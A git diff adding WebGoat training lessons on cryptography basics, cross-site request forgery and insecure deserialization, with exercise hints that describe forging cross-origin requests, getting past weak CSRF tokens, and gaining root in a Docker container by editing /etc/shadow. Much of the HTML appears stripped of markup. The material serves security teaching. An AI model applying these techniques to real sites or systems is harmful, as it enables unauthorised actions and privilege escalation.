a/src/main/resources/lessons/cryptography/documentation/encryption.adoc b/src/main/resources/lessons/cryptography/documentation/encryption.adoc new file mode 100644 index 000000000..ce0aacbfc --- /dev/null +++ b/src/main/resources/lessons/cryptography/documentation/encryption.adoc @@ -0,0 +1,32 @@ += Encryption + +== Symmetric encryption + +Symmetric encryption is based on a shared secret that is used for both encryption as well as decryption. Therefore, both parties (that are involved in exchanging secrets) share the same key. + +Example protocols are: + +* AES +* 3DES + +== Asymmetric encryption + +Asymmetric encryption is based on mathematical principles that consist of a key pair. The two keys are usually called a private key and a public key. The private key needs to be protected very well and is only known to one party. All others can freely use the public key. Something encrypted with the private key can be decrypted by all that have the public key, and something encrypted with the public key can only be decrypted with the private key. + +Example protocols are: + +* RSA +* DSA + +== HTTPS uses both symmetric and asymmetric keys + +Here is a short description of what happens if you open your browser and go to an https site. + +* Your browser connects to the server and gets the webserver certificate +* Your browser checks if it trusts the certificate issuer by checking if the issuer certificate is in its trust store. This trust store is managed by operating system and browser updates. And on some corporate networks it is managed by the company. From the certificate the browser obtains the public key. +* The browser now generates random bytes to be used to generate a symmetric key and encrypts this with the public key of the server. So only the server can decrypt it. +* At the end of this process both the browser and the webserver will use the exchanged symmetric key (in the asymmetric key exchange process) to encrypt and decrypt messages that are sent back and forth between the browser and the webserver. + +Symmetric keys are used because it can be used more easily with large sets of data and requires less processing power in doing so. However, the information on these pages is just for a basic understanding of cryptography. Look on the internet for more detailed information about these topics. + + diff --git a/src/main/resources/lessons/cryptography/documentation/hashing_plan.adoc b/src/main/resources/lessons/cryptography/documentation/hashing_plan.adoc new file mode 100644 index 000000000..44bd85c23 --- /dev/null +++ b/src/main/resources/lessons/cryptography/documentation/hashing_plan.adoc @@ -0,0 +1,20 @@ += Cryptography Basics + +== Plain Hashing + +Hashing is a type of cryptography which is mostly used to detect if the original data has been changed. A hash is generated from the original data. It is based on irreversible cryptographic techniques. +If the original data is changed by even one byte, the resulting hash is also different. + +So in a way it looks like a secure technique. However, it is NOT and even NEVER a good solution when using it for passwords. The problem here is that you can generate passwords from dictionaries and calculate all kinds of variants from these passwords. For each password you can calculate a hash. This can all be stored in large databases. So whenever you find a hash that could be a password, you just look up the hash in the database and find out the password. + +Some hashing algorithms should no longer be used: MD5, SHA-1 +For these hashes it is possible to change the payload in such a way that it still results in the same hash. This takes a lot of computing power, but is still a feasible option. + +== Salted Hashes + +Plain passwords should obviously not be stored in a database. And the same goes for plain hashes. +The https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html[OWASP Password Storage Cheat Sheet,window=_blank] explains what should be used when password related information needs to be stored securely. + +== Assignment + +Now let's see if you can find what passwords matches which plain (unsalted) hashes. diff --git a/src/main/resources/lessons/cryptography/documentation/keystores.adoc b/src/main/resources/lessons/cryptography/documentation/keystores.adoc new file mode 100644 index 000000000..6ce4a79e1 --- /dev/null +++ b/src/main/resources/lessons/cryptography/documentation/keystores.adoc @@ -0,0 +1,35 @@ += Keystores & Truststores + +A keystore is a place where you store keys. Besides *_keystore_* the term *_truststore_* is also used frequently. A truststore is the same thing as a keystore. Only it usually contains only the certificates (so basically only public keys and issuer information) of trusted certificates or certificate authorities. + +== File based keystores + +A file based keystore is something that in the end has the keys on a file system. +Storing public certificates in a file based keystore is very common + +== Database keystores + +Keys and especially public certificates can of course also be stored in a database. + +== Hardware keystore + +A hardware keystore is a system that has some sort of hardware which contain the actual keys. +This is typically done in high end security environments where the private key is really private. +In comparison with file based or database keystores, it is impossible to make a copy of the keystore to send it to some unknown and untrusted environment. + +Some certificate authorities that are used to provide you with a server certificate for your website, also create the private keys for you (as-a-service). However, it is by definition no longer considered a private key. For all keystore types, you should keep the private key private and use a certificate signing request to order your signing or server certificates. + +== Managed keystores in operating system, browser and other applications + +When you visit a website and your browser says that the certificates are fine, it means that the certificate used for the website is issued by a trusted certificate authority. But this list of trusted certificate authorities is managed. Some CA's might be revoked or removed. These updates happen in the background when browser updates are installed. +Not only the browser maintains a list of trusted certificate authorities, the operation system does so as well. And the Java runtime also has its own list which is kept in the cacerts file. Updates of the OS and Java JRE keep this list up to date. In corporate environments, these are usually maintained by the company and also contain company root certificates. + +== Extra check for website certificates using DNS CAA records + +Some companies inspect all or most internet traffic. Even the ones were you think you have an end-2-end secured connection. This works as follows. An employee opens a browser and googles some information. The browser will use https and go to the site of google. The link looks real and the lock is shown in the browser. However, if you would inspect the certificate, you might notice that it has been issued by one of your companies root CA's! So you have established an end-2-end secure connection with a server of your company, and that server has the secure connection with google. +In order to prevent such man in the middle connections to your server, modern browsers now will also check the DNS CAA records to see whether or not a certain issuer is allowed for a certain website. +More information: https://en.wikipedia.org/wiki/DNS_Certification_Authority_Authorization[Wiki DNS CAA,window=_blank] + +== Free certificates from Let's encrypt + +https://letsencrypt.org[Let's encrypt,,window=_blank] is a free, automated and open Certificate Authority. It allows you to create valid certificates for the websites that you control. By following and implementing a certain protocol, your identity is checked and a certificate will be issued. The certificates are free of charge and this is done to stimulate the use of authorised certificates and to lower the use of self-signed certificates on the internet. Certificates are valid for 90 days, so they need to be automatically renewed. (Which makes sure that the proof of identity/ownership also takes place frequently) \ No newline at end of file diff --git a/src/main/resources/lessons/cryptography/documentation/postquantum.adoc b/src/main/resources/lessons/cryptography/documentation/postquantum.adoc new file mode 100644 index 000000000..3b8666c30 --- /dev/null +++ b/src/main/resources/lessons/cryptography/documentation/postquantum.adoc @@ -0,0 +1,7 @@ += Post Quantum + +== Post quantum cryptography + +Quantum computers are here and getting more power in available qubits each year. Quantum computers are and will be capable of decrypting information that was encrypted with algorithms that were thought to be safe. For some years now, a lot of encrypted communication using quantum vulnerable cryptography is being recorded. This information will be decrypted when the quantum computers are powerful enough. Even though the information may be old, it still could contain valuable information that can be misused. Besides the fact that some private information will be known to parties it was not intended for. + +Mathematics has answers for the post quantum era. New cryptography is already available and should be used NOW in order to minimize threats. You can read more on this on Wikipedia: https://en.wikipedia.org/wiki/Post-quantum_cryptography[Post quatum on Wikipedia,window=_blank] diff --git a/src/main/resources/lessons/cryptography/documentation/signing.adoc b/src/main/resources/lessons/cryptography/documentation/signing.adoc new file mode 100644 index 000000000..321cf9f26 --- /dev/null +++ b/src/main/resources/lessons/cryptography/documentation/signing.adoc @@ -0,0 +1,40 @@ += Signing + +A signature is a hash that can be used to check the validity of some data. The signature can be supplied separately from the data that it validates, or in the case of CMS or SOAP can be included in the same file. (Where parts of that file contain the data and parts contain the signature). + +Signing is used when integrity is important. It is meant to be a guarantee that data sent from Party-A to Party-B was not altered. So Party-A signs the data by calculating the hash of the data and encrypting that hash using an asymmetric private key. Party-B can then verify the data by calculating the hash of the data and decrypting the signature to compare if both hashes are the same. + +== RAW signatures + +A raw signature is usually calculated by Party-A as follows: + +* create a hash of the data (e.g. SHA-256 hash) +* encrypt the hash using an asymmetric private key (e.g. RSA 2048 bit key) +* (optionally) encode the binary encrypted hash using base64 encoding + +Party-B will have to get the certificate with the public key as well. This might have been exchanged before. So at least 3 files are involved: the data, the signature and the certificate. + +== CMS signatures + +A CMS signature is a standardized way to send data + signature + certificate with the public key all in one file from Party-A to Party-B. As long as the certificate is valid and not revoked, Party-B can use the supplied public key to verify the signature. + +== SOAP signatures + +A SOAP signature also contains data and the signature and optionally the certificate. All in one XML payload. There are special steps involved in calculating the hash of the data. This has to do with the fact that the SOAP XML sent from system to system might introduce extra elements or timestamps. +Also, SOAP Signing offers the possibility to sign different parts of the message by different parties. + + +== Email signatures + +Sending emails is not very difficult. You have to fill in some data and send it to a server that forwards it, and eventually it will end up at its destination. However, it is possible to send emails with a FROM field that is not your own email address. In order to guarantee to your receiver that you really sent this email, you can sign your email. A trusted third party will check your identity and issue an email signing certificate. You install the private key in your email application and configure it to sign emails that you send out. The certificate is issued on a specific email address and all others that receive this email will see an indication that the sender is verified, because their tools will verify the signature using the public certificate that was issued by the trusted third party. + +== PDF or Word or other signatures + +Adobe PDF documents and Microsoft Word documents are also examples of things that support signing. The signature is also inside the same document as the data so there is some description on what is part of the data and what is part of the metadata. +Governments usually send official documents with a PDF that contains a certificate. + +== Assignment + +Here is a simple assignment. A private RSA key is sent to you. Determine the modulus of the RSA key as a hex string, and calculate a signature for that hex string using the key. The exercise requires some experience with OpenSSL. You can search on the Internet for useful commands and/or use the HINTS button to get some tips. + + diff --git a/src/main/resources/lessons/cryptography/html/Cryptography.html b/src/main/resources/lessons/cryptography/html/Cryptography.html new file mode 100644 index 000000000..6e6f32767 --- /dev/null +++ b/src/main/resources/lessons/cryptography/html/Cryptography.html @@ -0,0 +1,129 @@ + + + +
+ +
+ + +
+
+
+ +
+
+ +
+
+ Now suppose you have intercepted the following header:
+

+
+ Then what was the username + + and what was the password: + + +
+
+
+
+
+ +
+
+ +
+
+
+ Suppose you found the database password encoded as {xor}Oz4rPj0+LDovPiwsKDAtOw==
+ What would be the actual password +
+ +
+
+
+
+
+ + +
+
+ +
+
+
+ Which password belongs to this hash:
+
+ Which password belongs to this hash:
+ + +
+
+
+
+
+ + +
+
+
+ + +
+
+ +
+
+ Now suppose you have the following private key:
+

+
+ Then what was the modulus of the public key + + and now provide a signature for us based on that modulus + + +
+
+
+
+
+ + +
+
+
+ + +
+
+ +
+
+
+ What is the unencrypted message
+
+ and what is the name of the file that stored the password
+ + +
+
+
+
+
+ +
+
+
+ + diff --git a/src/main/resources/lessons/cryptography/i18n/WebGoatLabels.properties b/src/main/resources/lessons/cryptography/i18n/WebGoatLabels.properties new file mode 100644 index 000000000..67aad0b7d --- /dev/null +++ b/src/main/resources/lessons/cryptography/i18n/WebGoatLabels.properties @@ -0,0 +1,32 @@ +6.crypto.title=Crypto Basics + +crypto-encoding.empty=Try again, did you decode it properly? +crypto-encoding.success=Congratulations. That was easy, right? + +crypto-hashing.empty=Try again. +crypto-hashing.oneok=Try again. You got 1 right. +crypto-hashing.success=Congratulations. You found it! + +crypto-hashing.hints.1=Guess the type of hashing from the length of the hash. +crypto-hashing.hints.2=Find a online hash database or just google on the hash itself. + +crypto-signing.hints.1=Use openssl to get the public key from the private key. Apparently both private and public key information are stored. +crypto-signing.hints.2=Use the private key to sign the "modulus" value of the public key. +crypto-signing.hints.3=Actually the "modulus" of the public key is the same as the private key. You could use openssl rsa -in test.key -pubout > test.pub and then openssl rsa -in test.pub -pubin -modulus -noout or other components. +crypto-signing.hints.4=Make sure that you do not take hidden characters into account. You might want to use echo -n "00AE89..." | openssl dgst -sign somekey -sha256 ... and do not forget to base64 encode the outcome + + +crypto-signing.notok=The signature does not match the data (modulus) +crypto-signing.modulusnotok=The modulus is not correct +crypto-signing.success=Congratulations. You found it! + +crypto-encoding-xor.empty=Try again. This is not right +crypto-encoding-xor.success=Congratulations. +crypto-encoding-xor.hints.1=Did you look for online decoders for WebSphere encoded password? + +crypto-secure-defaults.hints.1=After starting the docker container enter the container using docker exec -ti _dockerid_ /bin/bash +crypto-secure-defaults.hints.2=Try to gain access to /root. Try to become user root by su - +crypto-secure-defaults.hints.3=Try to change the /etc/shadow file using docker cp +crypto-secure-defaults.success=Congratulations, you did it! +crypto-secure-defaults.messagenotok=The unencrypted message is not correct, try again. The filename of the password file is correct. +crypto-secure-defaults.notok=Try again or read some of the hints. diff --git a/src/main/resources/lessons/csrf/css/reviews.css b/src/main/resources/lessons/csrf/css/reviews.css new file mode 100644 index 000000000..3bc2ca4eb --- /dev/null +++ b/src/main/resources/lessons/csrf/css/reviews.css @@ -0,0 +1,75 @@ +/* Component: Posts */ +.post .post-heading { + height: 95px; + padding: 20px 15px; +} +.post .post-heading .avatar { + width: 60px; + height: 60px; + display: block; + margin-right: 15px; +} +.post .post-heading .meta .title { + margin-bottom: 0; +} +.post .post-heading .meta .title a { + color: black; +} +.post .post-heading .meta .title a:hover { + color: #aaaaaa; +} +.post .post-heading .meta .time { + margin-top: 8px; + color: #999; +} +.post .post-image .image { + width:20%; + height: 40%; +} +.post .post-description { + padding: 5px; +} +.post .post-footer { + border-top: 1px solid #ddd; + padding: 15px; +} +.post .post-footer .input-group-addon a { + color: #454545; +} +.post .post-footer .comments-list { + padding: 0; + margin-top: 20px; + list-style-type: none; +} +.post .post-footer .comments-list .comment { + display: block; + width: 100%; + margin: 20px 0; +} +.post .post-footer .comments-list .comment .avatar { + width: 35px; + height: 35px; +} +.post .post-footer .comments-list .comment .comment-heading { + display: block; + width: 100%; +} +.post .post-footer .comments-list .comment .comment-heading .user { + font-size: 14px; + font-weight: bold; + display: inline; + margin-top: 0; + margin-right: 10px; +} +.post .post-footer .comments-list .comment .comment-heading .time { + font-size: 12px; + color: #aaa; + margin-top: 0; + display: inline; +} +.post .post-footer .comments-list .comment .comment-body { + margin-left: 50px; +} +.post .post-footer .comments-list .comment > .comments-list { + margin-left: 50px; +} \ No newline at end of file diff --git a/src/main/resources/lessons/csrf/documentation/CSRF_Basic_Get-1.adoc b/src/main/resources/lessons/csrf/documentation/CSRF_Basic_Get-1.adoc new file mode 100644 index 000000000..c81193a70 --- /dev/null +++ b/src/main/resources/lessons/csrf/documentation/CSRF_Basic_Get-1.adoc @@ -0,0 +1,3 @@ +== Confirm Flag + +Confirm the flag you should have gotten on the previous page below. \ No newline at end of file diff --git a/src/main/resources/lessons/csrf/documentation/CSRF_ContentType.adoc b/src/main/resources/lessons/csrf/documentation/CSRF_ContentType.adoc new file mode 100644 index 000000000..735e320bc --- /dev/null +++ b/src/main/resources/lessons/csrf/documentation/CSRF_ContentType.adoc @@ -0,0 +1,23 @@ +== CSRF and content-type + +In the previous section we saw how relying on the content-type is not a protection against +CSRF. In this section we will look into another way we can perform a CSRF attack against +a APIs which are not protected against CSRF. + +In this assignment you need to achieve to POST the following JSON message to our endpoints: + +[source] +---- +POST /csrf/feedback/message HTTP/1.1 + +{ + "name" : "WebGoat", + "email" : "webgoat@webgoat.org", + "content" : "WebGoat is the best!!" +} +---- + +More information can be found http://pentestmonkey.net/blog/csrf-xml-post-request[here] + +Remember you need to make the call from another origin (WebWolf can help here) and you need to be logged in into +WebGoat. \ No newline at end of file diff --git a/src/main/resources/lessons/csrf/documentation/CSRF_Frameworks.adoc b/src/main/resources/lessons/csrf/documentation/CSRF_Frameworks.adoc new file mode 100644 index 000000000..0a2b95255 --- /dev/null +++ b/src/main/resources/lessons/csrf/documentation/CSRF_Frameworks.adoc @@ -0,0 +1,27 @@ +=== Automatic support from frameworks + +Most frameworks now have default support for preventing CSRF. For example with Angular an interceptor reads a token +from a cookie by default XSRF-TOKEN and sets it as an HTTP header, X-XSRF-TOKEN. Since only code that runs on your domain +could read the cookie, the backend can be certain that the HTTP request came from your client application and not an attacker. + +In order for this to work the backend server sets the token in a cookie. As the value of the cookie should be read +by Angular (JavaScript) this cookie should not be marked with the http-only flag. On every request towards the server +Angular will put the token in the X-XSRF-TOKEN as a HTTP header. The server can validate whether those two tokens +match and this will ensure the server the request is running on the same domain. + +*Important: DEFINE A SEPARATE COOKIE, DO NOT REUSE THE SESSION COOKIE* + +Remember the session cookie should always be defined with http-only flag. + +== Custom headers not safe + +Another defense can be to add a custom request header to each call. This will work if all the interactions +with the server are performed with JavaScript. On the server side you only need to check the presence of this header +if this header is not present deny the request. +Some frameworks offer this implementation by default however researcher Alex Infuhr found out that this can be bypassed +as well. You can read about: https://insert-script.blogspot.com/2018/05/adobe-reader-pdf-client-side-request.html[Adobe Reader PDF - Client Side Request Injection] + + + + + diff --git a/src/main/resources/lessons/csrf/documentation/CSRF_GET.adoc b/src/main/resources/lessons/csrf/documentation/CSRF_GET.adoc new file mode 100644 index 000000000..12d69f08e --- /dev/null +++ b/src/main/resources/lessons/csrf/documentation/CSRF_GET.adoc @@ -0,0 +1,10 @@ +== CSRF with a GET request + +This is the most simple CSRF attack to perform. For example you receive an e-mail with the following content: + +`View my Pictures!` + +If the user is still logged in to the website of bank.com this simple GET request will transfer money from one account to another. +Of course in most cases the website might have multiple controls to approve the request. + + diff --git a/src/main/resources/lessons/csrf/documentation/CSRF_Get_Flag.adoc b/src/main/resources/lessons/csrf/documentation/CSRF_Get_Flag.adoc new file mode 100644 index 000000000..82c341785 --- /dev/null +++ b/src/main/resources/lessons/csrf/documentation/CSRF_Get_Flag.adoc @@ -0,0 +1,4 @@ +== Basic Get CSRF Exercise + +Trigger the form below from an external source while logged in. The response will include a 'flag' (a numeric value). + diff --git a/src/main/resources/lessons/csrf/documentation/CSRF_Impact_Defense.adoc b/src/main/resources/lessons/csrf/documentation/CSRF_Impact_Defense.adoc new file mode 100644 index 000000000..5dccea3a4 --- /dev/null +++ b/src/main/resources/lessons/csrf/documentation/CSRF_Impact_Defense.adoc @@ -0,0 +1,33 @@ +== CSRF Impact + +The impact is limited only by what the logged in user can do (if the site/function/action is not protected properly). +The areas that are really prone to CSRF attacks are IoT devices and 'smart' appliances. Sadly, many consumer-grade routers +have also proven vulnerable to CSRF. + +== CSRF solutions + +=== Same site cookie attribute + +This is a new extension which modern browsers support which limits the scope of the cookie such that it will only be +attached to requests if those requests are 'same-site' +For example requests for `http://webgoat.org/something` will attach same-site cookies if the request is initiated from +`webgoat.org`. +There are two modes, strict and lax. The first one does not allow cross site request, this means when you are on +github.com and you want to like it through Facebook (and Facebook specifies same-site as strict) you will be +redirected to the login page, because the browser does not attach the cookie for Facebook. +More information can be found here: https://www.sjoerdlangkemper.nl/2016/04/14/preventing-csrf-with-samesite-cookie-attribute/ + +=== Other protections + +Fortunately, many (web) application frameworks now come with built in support to handle CSRF attacks. For example, Spring and +Tomcat have this on by default. As long as you don't turn it off (like it is in WebGoat), you should be safe from CSRF attacks. + +See the following for more information on CSRF protections: + +https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html (Prevention/Defense) + +https://owasp.org/www-community/attacks/csrf (Attack) + +https://tomcat.apache.org/tomcat-7.0-doc/config/filter.html#CSRF_Prevention_Filter / https://tomcat.apache.org/tomcat-8.0-doc/config/filter.html#CSRF_Prevention_Filter (Tomcat) + +https://docs.spring.io/spring-security/site/docs/current/reference/html5/#csrf diff --git a/src/main/resources/lessons/csrf/documentation/CSRF_JSON.adoc b/src/main/resources/lessons/csrf/documentation/CSRF_JSON.adoc new file mode 100644 index 000000000..2f0a2c339 --- /dev/null +++ b/src/main/resources/lessons/csrf/documentation/CSRF_JSON.adoc @@ -0,0 +1,46 @@ +**But I only have JSON APIs and no CORS enabled, how can those be susceptible to CSRF?** + +A lot of web applications implement no protection against CSRF they are somehow protected by the fact that +they only work with `application/json` as content type. The only way to make a request with this content-type from the +browser is with a XHR request. Before the browser can make such a request a preflight request will be made towards +the server (remember the CSRF request will be cross origin). If the pre-flight response does not allow the cross origin +request the browser will not make the call. + +To make a long answer short: this is *not* a valid protection against CSRF. + +One example why this protection is not enough can be found https://bugs.chromium.org/p/chromium/issues/detail?id=490015[here]. +Turns out `Navigator.sendBeacon()` was allowed to send POST request with an arbitrary content-type. + +[quote, 'developer.mozilla.org'] +____ +The navigator.sendBeacon() method can be used to asynchronously transfer a small amount of +data over HTTP to a web server. This method addresses the needs of analytics and diagnostics +code that typically attempts to send data to a web server prior to the unloading of the +document. Sending the data any sooner may result in a missed opportunity to gather data... +____ + +{nbsp} + +For example: + +[source] +-- +function postBeacon() { + var data= new Blob([JSON.stringify({"author" :"WebGoat"})], {type : 'application/json'}); + navigator.sendBeacon("http://localhost:8083", data) +} +-- + +[quote, 'Eduardo Vela'] +____ +I think Content-Type restrictions are useful for websites that are accidentally safe against CSRF. They are not meant to be, but they are because they happen to only accept XML or JSON payloads. + +That said, it's somewhat obvious the websites depending on this behavior should be fixed, and any reputable pentesters will point that out. The issue is whether it's the browser responsibility to act as a nanny to weak websites, or we should leave weak websites as sacrifice for great justice. Survival of the fittest. + +IMHO, the answer is somewhere in between, and a good first step would be to document all these Same Origin Policy gotchas that websites might depend upon for security. + +But wrt to this bug in specific, if it never got fixed, I don't think it would be the end of the world. But then again, on this day and age, maybe there's a way to launch nuclear missiles with a XML RPC interface, so maybe it would be the end of the world. +____ + +{nbsp} + +Both Firefox and Chrome fixed this issue, but it shows why you should implement a CSRF protection instead +of relying on the content-type of your APIs. \ No newline at end of file diff --git a/src/main/resources/lessons/csrf/documentation/CSRF_Login.adoc b/src/main/resources/lessons/csrf/documentation/CSRF_Login.adoc new file mode 100644 index 000000000..64cc8a6d5 --- /dev/null +++ b/src/main/resources/lessons/csrf/documentation/CSRF_Login.adoc @@ -0,0 +1,26 @@ +:blank: pass:[ +] + +== Login CSRF attack + +In a login CSRF attack, the attacker forges a login request to an honest site using the attacker’s username +and password at that site. If the forgery succeeds, the honest server responds with a `Set-Cookie` header +that instructs the browser to mutate its state by storing a session cookie, logging the user into +the honest site as the attacker. This session cookie is used to bind subsequent requests to the user's session and hence +to the attacker's authentication credentials. Login CSRF attacks can have serious consequences, for example +see the picture below where an attacker created an account at google.com the victim visits the malicious +website and the user is logged in as the attacker. The attacker could then later on gather information about +the activities of the user. + +{blank} + +image::images/login-csrf.png[caption="Figure: ", title="Login CSRF from Robust Defenses for Cross-Site Request Forgery", width="800", height="500", style="lesson-image" link="http://seclab.stanford.edu/websec/csrf/csrf.pdf"] + +{blank} +For more information read the following http://seclab.stanford.edu/websec/csrf/csrf.pdf[paper]. + +In this assignment try to see if WebGoat is also vulnerable for a login CSRF attack. +Leave this tab open and in another tab create a user based on your own username prefixed with `csrf-`. +So if your username is `tom` you must create a new user called `csrf-tom`. + +Login as the new user. This is what an attacker would do using CSRF. Then click the button in the original tab. +Because you are logged in as a different user, the attacker learns that you clicked the button. diff --git a/src/main/resources/lessons/csrf/documentation/CSRF_Reviews.adoc b/src/main/resources/lessons/csrf/documentation/CSRF_Reviews.adoc new file mode 100644 index 000000000..f3df9c4e6 --- /dev/null +++ b/src/main/resources/lessons/csrf/documentation/CSRF_Reviews.adoc @@ -0,0 +1,9 @@ +== Post a review on someone else's behalf + +The page below simulates a comment/review page. The difference here is that you have to initiate the submission elsewhere as you might +with a CSRF attack and like the previous exercise. It's easier than you think. In most cases, the trickier part is +finding somewhere that you want to execute the CSRF attack. The classic example is account/wire transfers in someone's bank account. + +But we're keeping it simple here. In this case, you just need to trigger a review submission on behalf of the currently +logged in user. + diff --git a/src/main/resources/lessons/csrf/documentation/CSRF_intro.adoc b/src/main/resources/lessons/csrf/documentation/CSRF_intro.adoc new file mode 100644 index 000000000..fb6a15641 --- /dev/null +++ b/src/main/resources/lessons/csrf/documentation/CSRF_intro.adoc @@ -0,0 +1,27 @@ +=== What is a Cross-site request forgery? + +Cross-site request forgery, also known as one-click attack or session riding and abbreviated as CSRF +(sometimes pronounced sea-surf) or XSRF, is a type of malicious exploit of a website where unauthorized commands are transmitted +from a user that the website trusts. Unlike cross-site scripting (XSS), which exploits the trust a user has for a particular site, CSRF +exploits the trust that a site has in a user's browser. + +A cross-site request forgery is a 'confused deputy' attack against a web browser. CSRF commonly has the following characteristics: + +* It involves sites that rely on a user's identity. +* It exploits the site's trust in that identity. +* It tricks the user's browser into sending HTTP requests to a target site. +* It involves HTTP requests that have side effects. + +At risk are web applications that perform actions based on input from trusted and authenticated users without requiring the user to authorize +the specific action. A user who is authenticated by a cookie saved in the user's web browser could unknowingly send an HTTP request to a site +that trusts the user and thereby causes an unwanted action. + +A CSRF attack targets/abuses basic web functionality. If the site allows that causes a state change on the server, such as changing the victim's email address or password, or purchasing +something. Forcing the victim to retrieve data doesn't benefit an attacker because the attacker doesn't receive the response, the victim does. +As such, CSRF attacks target state-changing requests. + +Let's continue with some exercises to address way to perform a CSRF request. + + + + diff --git a/src/main/resources/lessons/csrf/html/CSRF.html b/src/main/resources/lessons/csrf/html/CSRF.html new file mode 100644 index 000000000..01fdb696c --- /dev/null +++ b/src/main/resources/lessons/csrf/html/CSRF.html @@ -0,0 +1,260 @@ + + + + +
+
+
+ +
+
+
+ +
+
+ +
+ + + +
+ +
+ +
+ +
+ +
+
+
+ + Confirm Flag Value: + + + +
+
+
+
+
+ +
+
+
+
+ +
+ +
+ + + + + +
+ +
+
+
+
+
+ user profile image +
+
+
+ John Doe + is selling this poster, read reviews below. +
+
24 days ago
+
+
+ +
+ image post +
+ +
+ +
+ +
+ +
+
+
+
+ + + +
+ +
+
+
+ +
+
+
+ +
+
+ + +
+
+
+
+
+
+
+
+
+
+
+ + +
+
+ +
+ + +
+
+
+ + +
+
+
+
+ + +
+
+
+ +
+
+
+
+
+
+
+
+
+
+
+ +
+
+ +
+
+ + Confirm Flag Value: + + + + +
+
+
+
+ +
+ +
+
+ +
+
+ +
+
+ + Press the button below when your are logged in as the other user
+ + + +
+ +
+
+
+
+ + +
+
+
+ + + + + diff --git a/src/main/resources/lessons/csrf/i18n/WebGoatLabels.properties b/src/main/resources/lessons/csrf/i18n/WebGoatLabels.properties new file mode 100644 index 000000000..81ac02495 --- /dev/null +++ b/src/main/resources/lessons/csrf/i18n/WebGoatLabels.properties @@ -0,0 +1,32 @@ +csrf.title=Cross-Site Request Forgeries +csrf-get-null-referer.success=Congratulations! Appears you made the request from your local machine. +csrf-get-other-referer.success=Congratulations! Appears you made the request from a separate host. + + +csrf-get.hint1=The form has hidden inputs. +csrf-get.hint2=You will need to use an external page and/or script to trigger it. +csrf-get.hint3=Try creating a local page or one that is uploaded and points to this form as its action. +csrf-get.hint4=The trigger can be manual or scripted to happen automatically + +csrf-same-host=It appears your request is coming from the same host you are submitting to. + +csrf-you-forgot-something=There's something missing from your request it appears, so I can't process it. + +csrf-review.success=It appears you have submitted correctly from another site. Go reload and see if your post is there. + +csrf-review-hint1=Again, you will need to submit from an external domain/host to trigger this action. While CSRF can often be triggered from the same host (e.g. via persisted payload), this doesn't work that way. +csrf-review-hint2=Remember, you need to mimic the existing workflow/form. +csrf-review-hint3=This one has a weak anti-CSRF protection, but you do need to overcome (mimic) it + +csrf-feedback-hint1=Look at the content-type. +csrf-feedback-hint2=Try to post the same message with content-type text/plain +csrf-feedback-hint3=The json can be put into a hidden field inside + +csrf-feedback-invalid-json=Invalid JSON received. +csrf-feedback-success=Congratulations you have found the correct solution, the flag is: {0} + +csrf-login-hint1=First create a new account with csrf-username +csrf-login-hint2=Create a form which will log you in as this user (hint 1) and upload it to WebWolf +csrf-login-hint3=Visit this assignment again +csrf-login-success=Congratulations, now log out and login with your normal user account within WebGoat, remember the attacker knows you solved this assignment +csrf-login-failed=The solution is not correct, you are clicking the button while logged in as {0} \ No newline at end of file diff --git a/src/main/resources/lessons/csrf/images/login-csrf.png b/src/main/resources/lessons/csrf/images/login-csrf.png new file mode 100644 index 000000000..bdc982732 Binary files /dev/null and b/src/main/resources/lessons/csrf/images/login-csrf.png differ diff --git a/src/main/resources/lessons/csrf/js/csrf-review.js b/src/main/resources/lessons/csrf/js/csrf-review.js new file mode 100644 index 000000000..ef2b39977 --- /dev/null +++ b/src/main/resources/lessons/csrf/js/csrf-review.js @@ -0,0 +1,46 @@ +$(document).ready(function () { +// $("#postReview").on("click", function () { +// var commentInput = $("#reviewInput").val(); +// $.ajax({ +// type: 'POST', +// url: 'csrf/review', +// data: JSON.stringify({text: commentInput}), +// contentType: "application/json", +// dataType: 'json' +// }).then( +// function () { +// getChallenges(); +// $("#commentInput").val(''); +// } +// ) +// }); + + var html = '
  • ' + + '
    ' + + 'avatar' + + '
    ' + + '
    ' + + '
    ' + + '

    USER / STARS stars

    ' + + '
    DATETIME
    ' + + '
    ' + + '

    COMMENT

    ' + + '
    ' + + '
  • '; + + getChallenges(); + + function getChallenges() { + $("#list").empty(); + $.get('csrf/review', function (result, status) { + for (var i = 0; i < result.length; i++) { + var comment = html.replace('USER', result[i].user); + comment = comment.replace('DATETIME', result[i].dateTime); + comment = comment.replace('COMMENT', result[i].text); + comment = comment.replace('STARS', result[i].stars) + $("#list").append(comment); + } + + }); + } +}) \ No newline at end of file diff --git a/src/main/resources/lessons/csrf/js/feedback.js b/src/main/resources/lessons/csrf/js/feedback.js new file mode 100644 index 000000000..242090c7b --- /dev/null +++ b/src/main/resources/lessons/csrf/js/feedback.js @@ -0,0 +1,7 @@ +webgoat.customjs.feedback = function() { + var data = {}; + $('#csrf-feedback').find('input, textarea, select').each(function(i, field) { + data[field.name] = field.value; + }); + return JSON.stringify(data); +} diff --git a/src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_GadgetChain.adoc b/src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_GadgetChain.adoc new file mode 100644 index 000000000..438961c11 --- /dev/null +++ b/src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_GadgetChain.adoc @@ -0,0 +1,5 @@ +== What is a Gadgets Chain + +It is weird (but it could happen) to find a gadget that runs dangerous actions itself when is deserialized. However, it is much easier to find a gadget that runs action on other gadget when it is deserialized, and that second gadget runs more actions on a third gadget, and so on until a real dangerous action is triggered. That set of gadgets that can be used in a deserialization process to achieve dangerous actions is called "Gadget Chain". + +Finding gadgets to build gadget chains is an active topic for security researchers. This kind of research usually requires to spend a big amount of time reading code. \ No newline at end of file diff --git a/src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_Intro.adoc b/src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_Intro.adoc new file mode 100755 index 000000000..60882a9f4 --- /dev/null +++ b/src/main/resources/lessons/deserialization/documentation/InsecureDeserialization_Intro.adoc @@ -0,0 +1,10 @@ + +== Concept + +This lesson describes what is Serialization and how it can be manipulated to perform tasks that were not the original intent of the developer. + +== Goals +* The user should have a basic understanding of Java programming language +* The user will be able to detect insecure deserialization vulnerabilities +* The user will be able to exploit insecure deserialization vulnerabilities +* Exploiting deserialization is slightly different in other programming languages such as PHP or Python, but the key concepts learnt here also applies to all of them \ No newline at end of file diff --git 